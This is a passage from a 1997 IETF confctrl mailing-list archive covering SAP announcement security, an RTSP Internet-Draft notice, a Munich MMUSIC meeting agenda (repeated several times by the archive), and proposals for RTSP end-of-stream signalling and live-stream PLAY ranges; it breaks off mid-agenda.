>> 
>Learning the multicast address from an SDP description is no different
>than learning it from watching what comes down a pipe.  The only
>interesting information in the encrypted SDP header would be the address
>of the machine originating the session announcement; this can be learned
>from watching what is being transmitted, anyway.
>
>If your application can't stand up to "concerted hacking attempts," why
>bother transmitting to begin with?  Why else do we even bother
>encrypting traffic?
>
Let me be clear; I am not worried about having multicast addresses and
times in the clear; I am quite happy about putting information like
encryption key ID in the clear too. Others are much more worried aobut
this, and it is something that we should discuss in the IETF MMUSIC
meeting.

Peter Kirstein
>-- arlie

From majordom@ISI.EDU  Mon Aug  4 00:52:14 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23968>; Mon, 4 Aug 1997 07:57:02 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23959>; Mon, 4 Aug 1997 07:57:01 -0700
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id HAA27469
	for <confctrl@ISI.EDU>; Mon, 4 Aug 1997 07:57:00 -0700 (PDT)
Received: from Eng.Sun.COM ([129.146.1.25]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id HAA10817; Mon, 4 Aug 1997 07:56:19 -0700
Received: from rebma. by Eng.Sun.COM (SMI-8.6/SMI-5.3)
	id HAA12759; Mon, 4 Aug 1997 07:56:15 -0700
Received: from portland by rebma. (SMI-8.6/SMI-SVR4)
	id HAA11683; Mon, 4 Aug 1997 07:52:02 -0700
Date: Mon, 4 Aug 1997 07:52:14 -0700 (PDT)
From: Don Hoffman <hoffman@Eng.Sun.COM>
Reply-To: Don Hoffman <hoffman@Eng.Sun.COM>
Subject: Re: Streaming Audio Using Java
To: Duane Douglas <ddoug@tiac.net>
Cc: confctrl@ISI.EDU
In-Reply-To: "Your message with ID" <199708020030.UAA10290@mailrelay.tiac.net>
Message-Id: <Roam.SIMC.2.0.Beta.870706334.255.hoffman@eng.sun.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

One place to start is to look at the Java Media Framework spec.  See:

	http://www.javasoft.com/products/java-media/jmf/index.html

Don
	
>----- Begin Included Message -----<

Date: Fri, 1 Aug 1997 20:31:22 -0500
From: "Duane Douglas" <ddoug@tiac.net>
Subject: Streaming Audio Using Java
To: confctrl@ISI.EDU

Hello,

I'm interested in implementing Java to deliver streaming audio over the
World Wide Web.  How do you suggest that I go about learning how to do
this?

Thanks in advance

--Duane


>----- End Included Message -----<


From majordom@ISI.EDU  Tue Aug  5 12:19:38 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19058>; Tue, 5 Aug 1997 13:35:33 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19052>; Tue, 5 Aug 1997 13:35:31 -0700
Received: from ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id NAA08631
	for <confctrl@isi.edu>; Tue, 5 Aug 1997 13:35:28 -0700 (PDT)
Received: from ietf.ietf.org by ietf.org id aa21330; 5 Aug 97 16:19 EDT
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-rtsp-03.txt,.ps
Date: Tue, 05 Aug 1997 16:19:38 -0400
Message-Id:  <9708051619.aa21330@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart
		
A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Real Time Streaming Protocol (RTSP)
	Author(s)	: H. Schulzrinne, A. Rao, R. Lanphier
	Filename	: draft-ietf-mmusic-rtsp-03.txt,.ps
	Pages		: 71
	Date		: 1997-08-02
	
The Real Time Streaming Protocol, or RTSP, is an application-level 
protocol for control over the delivery of data with real-time properties. 
RTSP provides an extensible framework to enable controlled, on-demand 
delivery of real-time data, such as audio and video. Sources of data can 
include both live data feeds and stored clips. This protocol is intended 
to control multiple data delivery sessions, provide a means for choosing 
delivery channels such as UDP, multicast UDP and TCP, and delivery 
mechanisms based upon RTP (RFC 1889).

Internet-Drafts are available by anonymous FTP.  Login wih the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-rtsp-03.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-03.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-rtsp-03.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"
	
Content-Type: text/plain
Content-ID:	<19970805160042.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-rtsp-03.txt

--OtherAccess
Content-Type:	Message/External-body;
	name="draft-ietf-mmusic-rtsp-03.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"
	
Content-Type: text/plain
Content-ID:	<19970805160042.I-D@ietf.org>

--OtherAccess--

--NextPart--



From majordom@ISI.EDU  Sat Aug  9 10:59:56 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA14965>; Sat, 9 Aug 1997 12:00:29 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA14956>; Sat, 9 Aug 1997 12:00:27 -0700
Received: from emout10.mail.aol.com (emout10.mx.aol.com [198.81.11.25])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA19488
	for <confctrl@isi.edu>; Sat, 9 Aug 1997 12:00:26 -0700 (PDT)
From: Phoschka@aol.com
Received: (from root@localhost)
	  by emout10.mail.aol.com (8.7.6/8.7.3/AOL-2.0.0)
	  id OAA18864 for confctrl@isi.edu;
	  Sat, 9 Aug 1997 14:59:56 -0400 (EDT)
Date: Sat, 9 Aug 1997 14:59:56 -0400 (EDT)
Message-Id: <970809145955_1644971913@emout10.mail.aol.com>
To: confctrl@ISI.EDU
Subject: agenda for munich meeting ?
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

is this already out ? couldn't find it on the ietf pages

I guess it's known now, given that the IETF begins tomorrow.

-Philipp


From majordom@ISI.EDU  Sun Aug 10 14:28:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04924>; Sun, 10 Aug 1997 03:41:48 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04918>; Sun, 10 Aug 1997 03:41:46 -0700
Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA29000
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 03:41:45 -0700 (PDT)
Received: from kolbmais.cs.tu-berlin.de (jo@kolbmais.cs.tu-berlin.de [130.149.25.97])
	by mail.cs.tu-berlin.de (8.8.6/8.8.6) with ESMTP id MAA28079
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 12:28:35 +0200 (MET DST)
From: Joerg Ott <jo@cs.tu-berlin.de>
Received: (from jo@localhost)
	by kolbmais.cs.tu-berlin.de (8.8.6/8.8.6) id MAA14196
	for confctrl@isi.edu; Sun, 10 Aug 1997 12:28:34 +0200 (MET DST)
Message-Id: <199708101028.MAA14196@kolbmais.cs.tu-berlin.de>
Subject: MMUSIC Agenda
To: confctrl@ISI.EDU
Date: Sun, 10 Aug 1997 12:28:32 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Folks,

here comes the agenda for the two MMUSIC meetings in Munich:

  Tuesday 1545-1800
    Conf Arch, 10 mins - Carsten Bormann / Joerg Ott
    SAP security  - UCL
    SIP - MarkHandley
    Multicast address allocation - Mark Handley
    ITU-T update, 5-10 mins (Joerg Ott)

  Thursday 1300-1500
    RTSP - Anup Rao and Rob Lanphier

If there are any further suggestions, please let us know.

Ruth, Eve, Mark, and Joerg


From majordom@ISI.EDU  Sun Aug 10 14:28:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04924>; Sun, 10 Aug 1997 03:41:48 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04918>; Sun, 10 Aug 1997 03:41:46 -0700
Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA29000
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 03:41:45 -0700 (PDT)
Received: from kolbmais.cs.tu-berlin.de (jo@kolbmais.cs.tu-berlin.de [130.149.25.97])
	by mail.cs.tu-berlin.de (8.8.6/8.8.6) with ESMTP id MAA28079
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 12:28:35 +0200 (MET DST)
From: Joerg Ott <jo@cs.tu-berlin.de>
Received: (from jo@localhost)
	by kolbmais.cs.tu-berlin.de (8.8.6/8.8.6) id MAA14196
	for confctrl@isi.edu; Sun, 10 Aug 1997 12:28:34 +0200 (MET DST)
Message-Id: <199708101028.MAA14196@kolbmais.cs.tu-berlin.de>
Subject: MMUSIC Agenda
To: confctrl@ISI.EDU
Date: Sun, 10 Aug 1997 12:28:32 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Folks,

here comes the agenda for the two MMUSIC meetings in Munich:

  Tuesday 1545-1800
    Conf Arch, 10 mins - Carsten Bormann / Joerg Ott
    SAP security  - UCL
    SIP - MarkHandley
    Multicast address allocation - Mark Handley
    ITU-T update, 5-10 mins (Joerg Ott)

  Thursday 1300-1500
    RTSP - Anup Rao and Rob Lanphier

If there are any further suggestions, please let us know.

Ruth, Eve, Mark, and Joerg


From majordom@ISI.EDU  Sun Aug 10 14:28:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04924>; Sun, 10 Aug 1997 03:41:48 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04918>; Sun, 10 Aug 1997 03:41:46 -0700
Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA29000
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 03:41:45 -0700 (PDT)
Received: from kolbmais.cs.tu-berlin.de (jo@kolbmais.cs.tu-berlin.de [130.149.25.97])
	by mail.cs.tu-berlin.de (8.8.6/8.8.6) with ESMTP id MAA28079
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 12:28:35 +0200 (MET DST)
From: Joerg Ott <jo@cs.tu-berlin.de>
Received: (from jo@localhost)
	by kolbmais.cs.tu-berlin.de (8.8.6/8.8.6) id MAA14196
	for confctrl@isi.edu; Sun, 10 Aug 1997 12:28:34 +0200 (MET DST)
Message-Id: <199708101028.MAA14196@kolbmais.cs.tu-berlin.de>
Subject: MMUSIC Agenda
To: confctrl@ISI.EDU
Date: Sun, 10 Aug 1997 12:28:32 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Folks,

here comes the agenda for the two MMUSIC meetings in Munich:

  Tuesday 1545-1800
    Conf Arch, 10 mins - Carsten Bormann / Joerg Ott
    SAP security  - UCL
    SIP - MarkHandley
    Multicast address allocation - Mark Handley
    ITU-T update, 5-10 mins (Joerg Ott)

  Thursday 1300-1500
    RTSP - Anup Rao and Rob Lanphier

If there are any further suggestions, please let us know.

Ruth, Eve, Mark, and Joerg


From majordom@ISI.EDU  Sun Aug 10 14:28:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04924>; Sun, 10 Aug 1997 03:41:48 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04918>; Sun, 10 Aug 1997 03:41:46 -0700
Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA29000
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 03:41:45 -0700 (PDT)
Received: from kolbmais.cs.tu-berlin.de (jo@kolbmais.cs.tu-berlin.de [130.149.25.97])
	by mail.cs.tu-berlin.de (8.8.6/8.8.6) with ESMTP id MAA28079
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 12:28:35 +0200 (MET DST)
From: Joerg Ott <jo@cs.tu-berlin.de>
Received: (from jo@localhost)
	by kolbmais.cs.tu-berlin.de (8.8.6/8.8.6) id MAA14196
	for confctrl@isi.edu; Sun, 10 Aug 1997 12:28:34 +0200 (MET DST)
Message-Id: <199708101028.MAA14196@kolbmais.cs.tu-berlin.de>
Subject: MMUSIC Agenda
To: confctrl@ISI.EDU
Date: Sun, 10 Aug 1997 12:28:32 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Folks,

here comes the agenda for the two MMUSIC meetings in Munich:

  Tuesday 1545-1800
    Conf Arch, 10 mins - Carsten Bormann / Joerg Ott
    SAP security  - UCL
    SIP - MarkHandley
    Multicast address allocation - Mark Handley
    ITU-T update, 5-10 mins (Joerg Ott)

  Thursday 1300-1500
    RTSP - Anup Rao and Rob Lanphier

If there are any further suggestions, please let us know.

Ruth, Eve, Mark, and Joerg


From majordom@ISI.EDU  Sun Aug 10 14:28:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04924>; Sun, 10 Aug 1997 03:41:48 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04918>; Sun, 10 Aug 1997 03:41:46 -0700
Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA29000
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 03:41:45 -0700 (PDT)
Received: from kolbmais.cs.tu-berlin.de (jo@kolbmais.cs.tu-berlin.de [130.149.25.97])
	by mail.cs.tu-berlin.de (8.8.6/8.8.6) with ESMTP id MAA28079
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 12:28:35 +0200 (MET DST)
From: Joerg Ott <jo@cs.tu-berlin.de>
Received: (from jo@localhost)
	by kolbmais.cs.tu-berlin.de (8.8.6/8.8.6) id MAA14196
	for confctrl@isi.edu; Sun, 10 Aug 1997 12:28:34 +0200 (MET DST)
Message-Id: <199708101028.MAA14196@kolbmais.cs.tu-berlin.de>
Subject: MMUSIC Agenda
To: confctrl@ISI.EDU
Date: Sun, 10 Aug 1997 12:28:32 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Folks,

here comes the agenda for the two MMUSIC meetings in Munich:

  Tuesday 1545-1800
    Conf Arch, 10 mins - Carsten Bormann / Joerg Ott
    SAP security  - UCL
    SIP - MarkHandley
    Multicast address allocation - Mark Handley
    ITU-T update, 5-10 mins (Joerg Ott)

  Thursday 1300-1500
    RTSP - Anup Rao and Rob Lanphier

If there are any further suggestions, please let us know.

Ruth, Eve, Mark, and Joerg


From majordom@ISI.EDU  Sun Aug 10 14:28:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04924>; Sun, 10 Aug 1997 03:41:48 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04918>; Sun, 10 Aug 1997 03:41:46 -0700
Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA29000
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 03:41:45 -0700 (PDT)
Received: from kolbmais.cs.tu-berlin.de (jo@kolbmais.cs.tu-berlin.de [130.149.25.97])
	by mail.cs.tu-berlin.de (8.8.6/8.8.6) with ESMTP id MAA28079
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 12:28:35 +0200 (MET DST)
From: Joerg Ott <jo@cs.tu-berlin.de>
Received: (from jo@localhost)
	by kolbmais.cs.tu-berlin.de (8.8.6/8.8.6) id MAA14196
	for confctrl@isi.edu; Sun, 10 Aug 1997 12:28:34 +0200 (MET DST)
Message-Id: <199708101028.MAA14196@kolbmais.cs.tu-berlin.de>
Subject: MMUSIC Agenda
To: confctrl@ISI.EDU
Date: Sun, 10 Aug 1997 12:28:32 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Folks,

here comes the agenda for the two MMUSIC meetings in Munich:

  Tuesday 1545-1800
    Conf Arch, 10 mins - Carsten Bormann / Joerg Ott
    SAP security  - UCL
    SIP - MarkHandley
    Multicast address allocation - Mark Handley
    ITU-T update, 5-10 mins (Joerg Ott)

  Thursday 1300-1500
    RTSP - Anup Rao and Rob Lanphier

If there are any further suggestions, please let us know.

Ruth, Eve, Mark, and Joerg


From majordom@ISI.EDU  Sun Aug 10 14:28:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04924>; Sun, 10 Aug 1997 03:41:48 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04918>; Sun, 10 Aug 1997 03:41:46 -0700
Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA29000
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 03:41:45 -0700 (PDT)
Received: from kolbmais.cs.tu-berlin.de (jo@kolbmais.cs.tu-berlin.de [130.149.25.97])
	by mail.cs.tu-berlin.de (8.8.6/8.8.6) with ESMTP id MAA28079
	for <confctrl@isi.edu>; Sun, 10 Aug 1997 12:28:35 +0200 (MET DST)
From: Joerg Ott <jo@cs.tu-berlin.de>
Received: (from jo@localhost)
	by kolbmais.cs.tu-berlin.de (8.8.6/8.8.6) id MAA14196
	for confctrl@isi.edu; Sun, 10 Aug 1997 12:28:34 +0200 (MET DST)
Message-Id: <199708101028.MAA14196@kolbmais.cs.tu-berlin.de>
Subject: MMUSIC Agenda
To: confctrl@ISI.EDU
Date: Sun, 10 Aug 1997 12:28:32 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Folks,

here comes the agenda for the two MMUSIC meetings in Munich:

  Tuesday 1545-1800
    Conf Arch, 10 mins - Carsten Bormann / Joerg Ott
    SAP security  - UCL
    SIP - MarkHandley
    Multicast address allocation - Mark Handley
    ITU-T update, 5-10 mins (Joerg Ott)

  Thursday 1300-1500
    RTSP - Anup Rao and Rob Lanphier

If there are any further suggestions, please let us know.

Ruth, Eve, Mark, and Joerg


From majordom@ISI.EDU  Mon Aug 11 06:12:43 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06238>; Mon, 11 Aug 1997 13:09:03 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06231>; Mon, 11 Aug 1997 13:09:01 -0700
Received: from vxtreme.com (vxtreme.com [204.163.171.25])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA04913
	for <confctrl@ISI.EDU>; Mon, 11 Aug 1997 13:09:00 -0700 (PDT)
Received: from zima_gold (ZIMA_GOLD.vxtreme.com [10.0.3.25])
	by vxtreme.com (8.8.5/8.8.5) with ESMTP id NAA13649;
	Mon, 11 Aug 1997 13:05:42 -0700
Message-Id: <33EF723B.CC7336EB@vxtreme.com>
Date: Mon, 11 Aug 1997 13:12:43 -0700
From: Anders Klemets <klemets@vxtreme.com>
Organization: VXtreme, Inc.
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: confctrl@ISI.EDU
Cc: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>
Subject: Re: RTSP End of Session message
X-Priority: 3 (Normal)
References: <503A2A3C2932CF118D8800805FD44E18039BD6C1@RED-68-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I am catching up with some unread mail and came across this old thread.
There have been at least three different proposals for how the end of
the stream can be indicated to the client.

1) A timestamp in the presentation description
2) Reliance on the RTCP BYE message
3) Use of the RTSP TEARDOWN message

Unfortunately, I don't think any of these solutions are good enough.  I
will explain why.  I would like to rephrase the problem as follows: "The
client needs to know when the last _packet_ of a stream has been
received."

The word "packet" is very important here.  Somebody suggested that a
special end-of-stream indication was only needed for live streams, and
not for pre-recorded streams.  The presentation description of a
pre-recorded stream could contain the NPT (timestamp) of the last
frame.  (Proposoal #1.)  A problem with this is in some cases a frame
may span multiple RTP packets, and those packets would all have the same
RTP timestamp.  (Large video I-frames, for example, may have to be split
into multiple RTP packets.)

For some applications, a rough end-of-stream estimate may be
sufficient.  A couple of packets more or less may not matter.  But other
applications may have more stringent requirements.

Thus, I don't think we can say that the timestamp of the last frame is a
sufficiently precise end-of-stream indication.  The sequence number of
the last packet cannot be specified in the presentation description,
because the exact packetization may not be known ahead of time.

It has been suggested to use the RTCP BYE packet to indicate the
end-of-stream condition.  (Proposal #2.)  I don't think this is
appropriate to overload the semantics of the BYE message in this
manner.  BYE is supposed to mean that an RTP source has left the RTP
session.  The client may still want to rewind the stream or seek to the
beginning and play the stream again.  Thus, it would be wrong for the
server to leave the RTP session just because the end of the stream has
been reached.  In addition, the RTCP BYE message does not include the
sequence number of the last RTP packet.

Yet another proposed solution is to have the server send a TEARDOWN
message to the client when the end-of-stream has been reached.
(Proposal #3.)  Again, this has the same problems as the RTCP BYE
message.  The original semantics of TEARDOWN is that the RTSP Session ID
is no longer valid.  I does not seem right that the Session ID should
become invalid when the end-of-stream is reached.  Because then the
client would be forced to issue a new SETUP command in order to rewind
the stream, or to play it again.

So, we need to come up with a better solution.  I don't claim to have
the right answer, but something that would certainly work for me is to
have the server send a new EOF method.  Like this:

EOF rtsp://server.com/foo RTSP/1.0 123
Transport-Info: lastseq=3453545

Anders
--------
klemets@vxtreme.com        VXtreme, Inc.        "Expect Motion ..."



From majordom@ISI.EDU  Mon Aug 11 08:42:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17452>; Mon, 11 Aug 1997 15:38:49 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17445>; Mon, 11 Aug 1997 15:38:48 -0700
Received: from vxtreme.com (vxtreme.com [204.163.171.25])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA11073
	for <confctrl@ISI.EDU>; Mon, 11 Aug 1997 15:38:45 -0700 (PDT)
Received: from zima_gold (ZIMA_GOLD.vxtreme.com [10.0.3.25])
	by vxtreme.com (8.8.5/8.8.5) with ESMTP id PAA17457;
	Mon, 11 Aug 1997 15:35:30 -0700
Message-Id: <33EF9556.890738A7@vxtreme.com>
Date: Mon, 11 Aug 1997 15:42:30 -0700
From: Anders Klemets <klemets@vxtreme.com>
Organization: VXtreme, Inc.
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: confctrl@ISI.EDU
Cc: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>
Subject: PLAY without Range header
X-Priority: 3 (Normal)
References: <503A2A3C2932CF118D8800805FD44E18039BD6C1@RED-68-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The RTSP draft says that if a PLAY command does not have a Range header,
it means that the server should start playing from the beginning of the
stream or resume playing if it was previously paused.  But there is a
scenario where the behavior of the PLAY command is not at all obvious
without a Range header.

Consider the case of a live event that is also being stored on the
server and is being unicasted to the clients.

When a client joins such a live session, it must send a PLAY command in
order to receive data, because data is sent point-to-point to the
clients.  Sometimes a client may want to play the live stream all the
way from the beginning.  This is not a problem, because the server is
recording the live stream.  

More often, however, the client may want to start playing from the "live
offset", or "time t=Now".  This is essentially the same as sending a
PLAY command with the Range header giving the timestamp of the end of
the stream that the server has recorded.  The problem is that this
timestamp is constantly changing, as new data is being added to the
stream all the time.  Thus, since this timestamp is not constant, it
would be better to represent it with a logical name, rather than a
numerical value.

One way of doing it would be to reserve the word "now" (or "eof") for
this timestamp.  Here is how the client would tell the server to send it
the newest and freshest data it has:

PLAY rtsp://live.com/video RTSP/1.0 123
Range: npt=now-

As usual, the response to the PLAY command will contain a Range header
with the timestamp that the server is actually using.

Another way around the problem would be for the client to use its
current UTC time as the starting point, e.g.:

Range: clock=19970811T223015.25Z-

But this is not really a desirable solution.  We know there is no
guarantee for clock synchronization and the RTT between the client and
server may not be neglible.

Yet another way around the problem is to say that for live streams, a
PLAY command without a Range header is equivalent to "npt=now-".  We
assume, I suppose, that the client knows that it is dealing with a live
stream through the presentation description.  Otherwise, it would not
know when to include the Range header and when not to.

By the way, for pre-recorded streams, clients will typically need to
know the total "Range" of a stream expressed in NPT units.  This is
needed in order to display a seek bar or "progress indicator".  The
client will also need to know whether the stream is seekable, and
whether Rewind and Fast-Forward is supported, etc, _before_ it actually
tries any of those commands.  I really want the client GUI to properly
reflect which actions are available right from the beginning.  I suppose
this information has to be part of the presentation description, since
RTSP has no intrinsic support for it.  Please correct me if I am wrong.

Anders
--------
klemets@vxtreme.com        VXtreme, Inc.        "Expect Motion ..."

From majordom@ISI.EDU  Tue Aug 12 04:03:24 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22072>; Mon, 11 Aug 1997 17:04:52 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22066>; Mon, 11 Aug 1997 17:04:51 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA14394
	for <confctrl@isi.edu>; Mon, 11 Aug 1997 17:04:50 -0700 (PDT)
Received: from robla.dev.prognet.com (Laptop-dhcp-139.ietf.de) by murrow.prognet.com with SMTP id AA27010
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Mon, 11 Aug 1997 17:04:50 -0700
Message-Id: <3.0.3.32.19970812020324.0072ead0@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Tue, 12 Aug 1997 02:03:24 +0200
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: Thursday MMUSIC/RTSP Agenda
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Below is the agenda for the RTSP portion of the MMUSIC session on Thursday.
 Please send your comments on this to the list prior to the meeting, if
possible (especially if you are not going to be in attendance).

Outline:

1. Review Changes of the Draft
   a. Transport-Info field
   b. 1-1-n
   c. PEP-Protocol Extention Protocol
   d. ANNOUNCE method
   e. Use of SDP for session descriptions and syntax specification for that
   f. Sequence number moved to the header fields

2. New Business
   a. Allow change of Transport
   b. Release Scheudule
   c. Interoperability test gathering

=============================================================================
 Detail
=============================================================================
1. Review of changes to the draft:
--------------------------------------------------------------------------
   a. Transport-Info: field

   In order to gracefully handle delayed packets after seeking, the server
needs to be able to reliably send the sequence number of the initial packet
following a seek, so that the client knows it can safely discard packets
with sequence numbers smaller than the initial post-seek sequence number.

   The Transport-Info field was added as a way of solving this problem.
However, there is probably some tuning that needs to be done to this header.
--------------------------------------------------------------------------
   b. 1-1-n

   1-1-n refers to a single RTSP resource (i.e. a container file), which is
controlled by a single RTSP session (and thus has a single NPT and session
id), that contains multiple (n) RTP streams.  After rigorous debate and
some confusion, a rough consensus seemed to form around solving this
problem in the way that is currently outlined in the draft.

That is:
